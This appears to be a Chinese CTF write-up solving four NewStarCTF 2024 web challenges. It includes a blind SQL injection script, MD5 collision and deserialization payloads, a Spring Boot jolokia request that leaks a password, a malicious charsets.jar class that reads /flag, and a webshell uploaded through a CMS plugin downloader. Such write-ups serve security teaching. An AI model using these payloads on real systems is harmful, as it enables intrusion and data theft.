NewStarCTF2024-Week4-Web-WP
目录1、blindsql2
2、chocolate
3、隐藏的暗码
4、ezcmsss
标题对勇师傅来说已经是开始上难度了以是这周没有AK
分享下本身做出来的题的解题思绪
1、blindsql2
原本是在继承构造新的 payload,也测到了延时
https://i-blog.csdnimg.cn/direct/31f4cc87f7514a08b55052fc55e3c3a3.png
打算去改上周的脚本,结果去跑的时候忘了将上次的最后 payload 解释,直接就上周的脚本就跑出来 flag 了,week3 应该是打算考布尔盲注,week4 是时间盲注,以是直接就都打通了。
https://i-blog.csdnimg.cn/direct/e54a73210568493bb88d03566c49cb80.png
exp:
# @author:Myon
# @time:20241015
import requests
import string
import time
url = 'http://eci-2ze6n37avcrdqdbhno0a.cloudeci1.ichunqiu.com/'
dic = string.ascii_lowercase + string.digits + '{}-_'
out = ''
for j in range(1, 100):
a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
for k in dic:
# payload = f"student_name=0'or%09if(database()%09like%09%27{out+k}%25%27,sleep(1),0)and%271" # 猜数据库名
# print(payload)
# payload = f"student_name=0'or%09||if((select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09'flag'limit%092,1)like'{out+k}%25',sleep(1),0)and%271"
# payload = f"student_name=Alice%27||if((select%09column_name%09from%09information_schema.columns%09where%09table_schema%09like%09'ctf'and%09table_name%09like'secrets'limit%091,1)like'{out+k}%25',sleep(1),0)and%271"
payload = f"student_name=Alice%27||if((select%09secret_value%09from%09ctf.secrets%09limit%092,1)like%09'{out+k}%25',sleep(1),0)and%271"
re = requests.get(url, params=payload)
# print(re.status_code)
t = re.elapsed.total_seconds()
# print(f"{j}:{time}")
if t > 1.5:
print(k)
a = 0 #如果找到字符,则将标志位置0
out += k
print(out)
time.sleep(1)
break #跳出内层的for循环,继续遍历下一位
# if a == 1: #在进行下一次循环前,先判断当前字符是否找到
# break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)
2、chocolate
目录扫描扫到了个 source.php,访问看不到内容
随便输一些东西测到了一个提示:
https://i-blog.csdnimg.cn/direct/6a9efbc05b724f48a63a9fe0f0beb152.png
https://i-blog.csdnimg.cn/direct/29d3c58649fe4c0f815edd95393efe9b.png
访问,然后绕过一下:
0ldStar.php?num=+02471 https://i-blog.csdnimg.cn/direct/7dec2e2090754eee97f5db49ff36f584.png
拿到:
可可液块 (g): 1337033 // gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到 让我们解密这个,扔到随波逐流发现是个文件名
https://i-blog.csdnimg.cn/direct/7de3adef871540f8ad15789f0f4f7a96.png
继承访问 cocoaButter_star.php
第一个是 md5 强碰撞:
cocoaButter_star.php?cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 https://i-blog.csdnimg.cn/direct/a0df6e5fc65543b9bbed04e579febda8.png
第二个传一个 0e 开头的 md5 加密后也是 0e 开头的即可实现相等,科学计数法都是 0
Payload:
moew=0e215962017 https://i-blog.csdnimg.cn/direct/dbf8e53af8fe4b909788e167ee3650c5.png
拿到:of course you konw// 可可脂 (g): 202409
最后一个是要求 md5 加密后前五位符合要求,一开始想到的是 md5 长度拓展攻击,发现不是,写个脚本爆破符合要求的字符即可:
import hashlib
knowMd5 = '8031b'# 已知的md5前缀
dict = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'# 字符字典
def md5(text):
return hashlib.md5(str(text).encode('utf-8')).hexdigest()# 计算md5哈希值
# 爆破过程
for i in dict:
for j in dict:
for k in dict:
for l in dict:
# 生成四个字符组合
x = i + j + k + l
# 计算md5
codeMd5 = md5(x)
# 如果md5前五个字符等于已知的8031b
if codeMd5[:5] == knowMd5:
print(f"符合要求的next_level值:{x}")
break# 找到符合的组合后退出循环
https://i-blog.csdnimg.cn/direct/4df61732814b4530bf6dc220b2266c48.png
比如我们传入 aNQa
https://i-blog.csdnimg.cn/direct/1a926a28e5db457498ebbcc80a83432c.png
拿到 of course you konw// 可可脂 (g): 202409// final.php
最后 final.php 是一个反序列化的利用,一开始还想绕过过滤的 chocolate,后面发现不必要绕过,而且 url 编码后传入不行,直接传序列化后的内容。
exp:
<?php
class chocolate{
public $cat='???';
public $kitty='???';
public function __construct($u,$p){
$this->cat=$u;
$this->kitty=$p;
}
public function eatit(){
return $this->cat===$this->kitty;
}
public function __toString(){
return $this->cat;
}
public function __destruct(){
global $darkCocoaPowder;
echo $darkCocoaPowder;
}
}
$u = '111';
$p = '111';
$c = new chocolate($u,$p);
echo serialize($c);
?>
让 $cat===$kitty 即可
Post传入:
O:9:"chocolate":2:{s:3:"cat";s:3:"111";s:5:"kitty";s:3:"111";} https://i-blog.csdnimg.cn/direct/5d91718ce1ef4e1fb78143eda10aabb3.png
拿到:黑可可粉 (g): 51540
最后还剩一个糖分,经过测试发现页面会有差别回显
https://i-blog.csdnimg.cn/direct/9c8bf4777e0f43d796c2d6be3d68a3a8.png
https://i-blog.csdnimg.cn/direct/57de6bc8919d484c9c6e2bfa54c92275.png
确定范围是在 2000-2050 之间
Burpsuite 爆破一下:
https://i-blog.csdnimg.cn/direct/fd16eee1546046249f956667ede4494c.png
拿到 flag:flag{d20ea743-bbae-4b75-a8e4-098c4ddecd5f}
3、隐藏的暗码
目录扫描
https://i-blog.csdnimg.cn/direct/ad6952d04e9e4ddbb3455edb040dbeb2.png
/back.html
https://i-blog.csdnimg.cn/direct/1b97fe27d6a74507a8333d5bfca5dc38.png
但是文件上传后访问不到,命令执行的是 ls
/actuator/env 接口下发现暗码被******代替了
https://i-blog.csdnimg.cn/direct/40a0071fd01b441585003cd169c5c649.png
实行获取星号的内容
Post:/actuator/jolokia
{
"mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
"operation": "getProperty",
"type": "EXEC",
"arguments": ["caef11.passwd"]
} https://i-blog.csdnimg.cn/direct/d4b8f5c9ff6a459cbe57f55dd9d3a567.png
拿到暗码:123456qWertAsdFgZxCvB!@#
登录,发现界面内容和前面貌录扫描出来的 back.html 是一样的…
https://i-blog.csdnimg.cn/direct/5413305b11844c1f8ac4da84488c7f6f.png
命令执行模块 fuzz 测试一下,存在一些字符的过滤,过滤字符如下:
!$&();<>[\]`{|} https://i-blog.csdnimg.cn/direct/3049d381fc354fde8c5bfb3b843bbb9c.png
可以看到异或和取反都是可以使用的
https://i-blog.csdnimg.cn/direct/b2e0448690064bb7b461d86a94a48c63.png
实行命令执行,发现不行
文件能传上去但是访问不到
https://i-blog.csdnimg.cn/direct/4b732b00b5c641fd9a2d954b35a749a3.png
找到了JDK HOME 目录:
/usr/local/openjdk-8/jre/lib https://i-blog.csdnimg.cn/direct/fbd6ddf0e43b46c5932f5ed8b5c6d789.png
确认一下,确实可以成功上传文件到这个位置:
../../usr/local/openjdk-8/jre/lib/charsets.jar https://i-blog.csdnimg.cn/direct/39fad35c09f54fe083876d6e3979cb32.png
https://i-blog.csdnimg.cn/direct/3c15aa6e74a240f1a30c435281b6bbcd.png
那么我们直接覆盖 charsets.jar
https://i-blog.csdnimg.cn/direct/ec0eccdc2a5445f7a90562d4e4a461aa.png
触发:
Accept: text/html;charset=GBK https://i-blog.csdnimg.cn/direct/fefecfd666f44078ae00b617bfe2ed1f.png
确实可以利用
https://i-blog.csdnimg.cn/direct/fca2bd990d874061bf8778ddf53efd11.png
重新构造一个 jar 包,通过将 class 文件反编译拿到了 java 源码,这里重要是更换 IBM33722.class
https://i-blog.csdnimg.cn/direct/c01b36fdf5e24ac892ffa5a2b9be5ec1.png
修改后的源码如下:
package sun.nio.cs.ext;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.UUID;
public class IBM33722 {
static {
fun();
}
public IBM33722(){
fun();
}
private static java.util.HashMap<String, String> fun(){
String flagFilePath = "/flag";
String fileName = readFlag(flagFilePath);
if (fileName == null) {
fileName = "failed";
}
String random = UUID.randomUUID().toString().replace("-", "").substring(1, 9);
String tempFilePath = "/tmp/" + fileName + "_" + random + ".log";
createTempFile(tempFilePath);
return null;
}
private static String readFlag(String path) {
StringBuilder content = new StringBuilder();
try (BufferedReader reader = new BufferedReader(new FileReader(new File(path)))) {
String line;
while ((line = reader.readLine()) != null) {
content.append(line);
}
} catch (IOException e) {
return null;
}
return content.toString();
}
private static void createTempFile(String path) {
try (FileWriter writer = new FileWriter(new File(path))) {
writer.write(path);
} catch (IOException e) {
e.printStackTrace();
}
}
}
读取根目录下的 flag,将内容写到 /tmp 目录下的文件名(由于我们只能执行ls命令)
编译成 class 文件,整体打包成 jar 包,上传覆盖 charsets.jar
https://i-blog.csdnimg.cn/direct/f09e2f347a5f453098611699923b0807.png
https://i-blog.csdnimg.cn/direct/422baa933abf411b8fd24f8ba2a41ccd.png
重启环境,上传新的 charsets.jar
覆盖掉后触发方式同上
https://i-blog.csdnimg.cn/direct/3e2efe7514b847b1a5e02d519041091d.png
查看 /tmp 目录
https://i-blog.csdnimg.cn/direct/d298b23a49fa4743b76fc38472f15268.png
拿到 flag:flag{d3350ef4-3b91-40e6-9d6a-2f0c8d33193e}
4、ezcmsss
https://i-blog.csdnimg.cn/direct/d0b42598b5674221835341f3e6c34601.png
Start.sh里拿到账户暗码:
admin_name=jizhicms1498&admin_pass=4oP4fB51r5 登录后台:admin.php
https://i-blog.csdnimg.cn/direct/74e8d42c51564c9093d9038c76eed8db.png
https://i-blog.csdnimg.cn/direct/986e61d8653b4e72b6a2990ffde147a4.png
允许上传 php 文件
https://i-blog.csdnimg.cn/direct/cd05abbb9b6a4dc6b6916bf70971a3f0.png
https://i-blog.csdnimg.cn/direct/36d03c3b7e4f4bae94f95cc703692e56.png
后端还做了检测
https://i-blog.csdnimg.cn/direct/bf0f73a295cb4584905ccde095bd546c.png
在前端随便注册一个账号
https://i-blog.csdnimg.cn/direct/f41849e82d794b779fd8594f886e84d5.png
实行上传但是没有分栏可选
https://i-blog.csdnimg.cn/direct/469f58c8d41448c99798fac618ab6083.png
在后台添加一下
https://i-blog.csdnimg.cn/direct/19d026bb72fe4cbcb512f74ec781272a.png
https://i-blog.csdnimg.cn/direct/eb405b1c1ba54867a64f311a97863df0.png
还是不行,配置文件也传不了,估计这个漏洞已经修了
又看到另一个下载插件路径可控的,但是插件管理里面并没有看到可以下载插件的地方, 手动构造一下,但是似乎出不了网...
https://i-blog.csdnimg.cn/direct/80612f8c21c94f85b719c730b8c372be.png
那利市动传一个一句话木马的 zip 到它的本地
https://i-blog.csdnimg.cn/direct/b8fd515af7ba49fabc0cb748d19c6797.png
从本地下载插件:
action=start-download&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip https://i-blog.csdnimg.cn/direct/8a9dd76cae524172bf7f54c197612c34.png
解压:
action=file-upzip&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip&filesize=0 https://i-blog.csdnimg.cn/direct/4346229ea32844c783c1c73503604ceb.png
访问 /A/exts,看到我们传的压缩包被解压了,得到一句话木马
https://i-blog.csdnimg.cn/direct/f392bae9490c4b7c9cc35409e0c4e4e3.png
调用木马:
https://i-blog.csdnimg.cn/direct/56f28ad7a5bd42cfb858288167a79ddc.png
读取 flag
https://i-blog.csdnimg.cn/direct/ef9790fc5a394bd588c5bde474653fc1.png
拿到 flag:flag{9bb4ad6c-68e7-44ed-badd-4614a81f7df7}
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]